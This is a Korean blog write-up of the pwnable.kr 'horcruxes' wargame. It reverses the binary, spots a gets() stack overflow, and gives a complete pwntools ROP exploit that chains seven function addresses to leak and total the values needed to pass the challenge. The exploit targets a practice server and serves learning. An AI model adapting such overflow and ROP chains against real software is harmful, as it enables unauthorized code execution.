Pwnstar
Pwnable.kr horcruxes 본문
호크룩스..해리포터에 나오는 볼트모트의 영혼을 조각내 넣어놓은 물건들을 호크룩스라고 하던데..
ROP문제란다ㅎㅎㅎㅎ
접속해보니 소스코드가 없고 readme 파일이 있길래 한번 봤다.
음 별건 없고 nc로도 접속할 수 있다. 그러면 바이너리를 빼와서 IDA에 넣어봐야겠다.
IDA
메인 함수에는 별다른 단서가 없다.
init_ABCDEFG() 함수를 보자
랜덤값으로 a, b, c, d, e, f, g, v0 의 값이 정해지나보다. 이 값들을 모두 더한 값이 sum이라는 전역변수에 들어간다.
그 다음 ropme 함수를 들여다보자 이 함수가 사실상 메인일듯 하니.
이렇게 생겼다.
메뉴를 선택하라는 말이 나오는데, 아까 init_ABCDEFG 함수에서 나오는 값들을 메뉴에 입력으로 줘야 각 함수에 도달할 수 있는데 메뉴가 반복문 안에 있지도 않아서 메뉴는 한번밖에 실행이 안된다.
즉 모든 함수들을 rop로 거쳐가면서 얻은 값들을 마지막에 입력해줘야 익스가 될 듯 하다.
처음 메뉴를 입력받는 부분은 scanf이고, 그 뒤에 gets로 입력 받는 부분이 있으니 이 부분을 통해 rop를 진행하면 될 것 같다.
이렇게 함수 주소들을 알아놓고, 순서대로 엮으면 끝날것 같다.
익스
from pwn import *
#p = process("./horcruxes")
p = remote("pwnable.kr", 9032)
p.recvuntil("Select Menu:")
p.sendline("1")
p.recvuntil("How many EXP did you earned? : ")
A = 0x0809fe4b
B = 0x0809fe6a
C = 0x0809fe89
D = 0x0809fea8
E = 0x0809fec7
F = 0x0809fee6
G = 0x0809ff05
ropme = 0x0809FFFC
payload = "A"*120
payload += p32(A)
payload += p32(B)
payload += p32(C)
payload += p32(D)
payload += p32(E)
payload += p32(F)
payload += p32(G)
payload += p32(ropme)
p.sendline(payload)
exp = 0
for i in range(7):
print(p.recvuntil("+"))
exp += int(p.recvuntil(")")[:-1])
log.info("total exp = " + str(exp))
p.recvuntil("Select Menu:")
p.sendline("1")
p.recvuntil("How many EXP did you earned? : ")
p.sendline(str(exp))
p.interactive()
이렇게 해서 돌리면
끗!!
'Pwnable.kr > Toddler's Bottle' 카테고리의 다른 글
Pwnable.kr note (0) | 2020.06.05 |
---|---|
Pwnable.kr asm (0) | 2020.03.22 |
Pwnable.kr blukat (0) | 2020.03.21 |
Pwnable.kr unlink (0) | 2020.03.20 |
Pwnable.kr uaf (0) | 2020.03.17 |
Comments